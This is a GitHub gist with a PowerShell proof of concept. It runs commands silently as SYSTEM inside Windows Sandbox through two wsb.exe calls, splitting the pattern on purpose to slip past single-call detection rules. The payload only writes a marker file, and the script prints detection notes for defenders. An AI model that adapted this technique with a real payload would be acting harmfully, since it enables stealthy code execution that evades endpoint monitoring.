Last active
May 30, 2026 09:12
-
-
Save unrooted/c02f398c88205a437ad2fb592b61efff to your computer and use it in GitHub Desktop.
"PoC" for abuse of Windows Sandbox - headless command execution via Windows Sandbox CLI
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 5.1 | |
| $ErrorActionPreference = 'Stop' | |
| # wsb.exe LOLBAS PoC: truly-headless command execution via Windows Sandbox CLI. | |
| # | |
| # Demonstrates that wsb.exe (Windows 11 24H2+) can run arbitrary commands | |
| # inside a Defender-free sandbox with NO interactive window, NO .wsb file | |
| # on disk, and the abuse signal SPLIT across two separate wsb.exe invocations | |
| # so that naive "single-call detection" rules miss the pattern. | |
| # | |
| # Important behavioral note (learned the hard way): | |
| # <LogonCommand> in a Sandbox config only fires when WDAGUtilityAccount | |
| # actually logs in - which requires an RDP session triggered by | |
| # `wsb connect` and opens a visible window. So `wsb start --config | |
| # "<...LogonCommand...>"` alone is NOT headless. | |
| # | |
| # The truly silent pattern uses two CLI calls: | |
| # 1) wsb start --config "<Configuration>...</Configuration>" (no LogonCommand) | |
| # 2) wsb exec --id <id> -c <payload> -r System (no user session needed) | |
| # | |
| # That's what this PoC demonstrates. The LogonCommand variant is shown in | |
| # the commented block at the bottom for reference. | |
| # | |
| # BENIGN by design. Writes a marker file to a host-mapped folder so defenders | |
| # can verify their EDR / Sysmon / SIEM correlation rules caught the abuse | |
| # pattern. No malware, no exfil, no persistence. | |
| # | |
| # Requirements: | |
| # - Windows 11 24H2 or later, Pro / Enterprise / Education | |
| # - Windows Sandbox optional feature enabled | |
| # - Standard user privileges on the host (no admin needed) | |
| $HostShare = Join-Path $env:USERPROFILE 'Desktop\wsb-target' | |
| $SandboxShare = 'C:\users\WDAGUtilityAccount\Desktop\target' | |
| $MarkerOnHost = Join-Path $HostShare 'marker.txt' | |
| New-Item -ItemType Directory -Path $HostShare -Force | Out-Null | |
| # ============================================================================= | |
| # Step 1: start a sandbox with ONLY a mapped folder, NO LogonCommand. | |
| # ----------------------------------------------------------------------------- | |
| # Detection rules looking for "wsb.exe --config containing <LogonCommand>" | |
| # will NOT fire on this invocation - there is no LogonCommand here. | |
| # ============================================================================= | |
| $config = @" | |
| <Configuration> | |
| <Networking>Default</Networking> | |
| <ClipboardRedirection>Disable</ClipboardRedirection> | |
| <MappedFolders> | |
| <MappedFolder> | |
| <HostFolder>$HostShare</HostFolder> | |
| <SandboxFolder>$SandboxShare</SandboxFolder> | |
| <ReadOnly>false</ReadOnly> | |
| </MappedFolder> | |
| </MappedFolders> | |
| </Configuration> | |
| "@ | |
| Write-Host 'Step 1: starting sandbox (no LogonCommand, no .wsb on disk)' -ForegroundColor Cyan | |
| $startOut = wsb start --config $config 2>&1 | Out-String | |
| # wsb start returns the sandbox ID. Parse it - format is a GUID. | |
| $idMatch = [regex]::Match($startOut, '[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}') | |
| if (-not $idMatch.Success) { | |
| Write-Warning "Could not parse sandbox ID from 'wsb start' output. Output was:" | |
| Write-Host $startOut | |
| Write-Warning "Run 'wsb list' manually and re-run step 2 with the right ID." | |
| return | |
| } | |
| $sandboxId = $idMatch.Value | |
| Write-Host " sandbox id: $sandboxId" -ForegroundColor DarkGray | |
| # Give the sandbox a few seconds to fully initialize. SYSTEM exec doesn't | |
| # need a user logon, but the sandbox service does need to be ready. | |
| Write-Host ' waiting ~8s for sandbox to initialize...' | |
| Start-Sleep -Seconds 8 | |
| # ============================================================================= | |
| # Step 2: exec the payload as SYSTEM. | |
| # ----------------------------------------------------------------------------- | |
| # -r System does NOT require an active user session. No RDP window opens, | |
| # no logon event fires. This invocation's CLI argument has no <Configuration> | |
| # XML, no <LogonCommand> - just a command string. The two invocations' | |
| # command lines look entirely different from each other. | |
| # ============================================================================= | |
| $payload = "cmd.exe /c echo wsb.exe LOLBAS PoC reached host filesystem at %TIME% > $SandboxShare\marker.txt" | |
| Write-Host 'Step 2: executing payload as SYSTEM in the running sandbox' -ForegroundColor Cyan | |
| wsb exec --id $sandboxId -c $payload -r System | |
| Write-Host '' | |
| Write-Host 'Wait ~3s then check on host:' -ForegroundColor Yellow | |
| Write-Host " $MarkerOnHost" | |
| Write-Host '' | |
| Write-Host 'Detection notes:' -ForegroundColor Yellow | |
| Write-Host ' - Step 1 CLI: wsb.exe start --config "<Configuration>...</Configuration>"' | |
| Write-Host ' (no <LogonCommand>, just mapped folder + sandbox knobs)' | |
| Write-Host ' - Step 2 CLI: wsb.exe exec --id <guid> -c "cmd /c ..." -r System' | |
| Write-Host ' (no <Configuration>, no LogonCommand, just a -c payload)' | |
| Write-Host ' - Correlation key: same sandbox-id GUID appears in both calls.' | |
| Write-Host '' | |
| Write-Host 'Cleanup:' | |
| Write-Host " wsb stop --id $sandboxId" | |
| Write-Host " Remove-Item -Recurse -Force '$HostShare'" | |
| # ============================================================================= | |
| # Alternate (non-headless) pattern, for reference only - DO NOT enable: | |
| # ----------------------------------------------------------------------------- | |
| # Putting the payload in <LogonCommand> seems to work conceptually, but the | |
| # command only executes when WDAGUtilityAccount actually logs in. That | |
| # happens when you run `wsb connect --id <id>`, which opens a visible RDP | |
| # window. So the LogonCommand pattern is NOT silent; it's the "noisy" form | |
| # of this abuse. | |
| # | |
| # $configWithLogon = @" | |
| # <Configuration> | |
| # <MappedFolders><MappedFolder><HostFolder>$HostShare</HostFolder>...<ReadOnly>false</ReadOnly></MappedFolder></MappedFolders> | |
| # <LogonCommand><Command>cmd.exe /c echo logon-cmd reached host > $SandboxShare\marker.txt</Command></LogonCommand> | |
| # </Configuration> | |
| # "@ | |
| # wsb start --config $configWithLogon | |
| # # marker won't appear yet. Then: | |
| # wsb connect --id <sandbox_id> | |
| # # NOW the user logs in, LogonCommand fires, marker.txt is written. | |
| # ============================================================================= |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment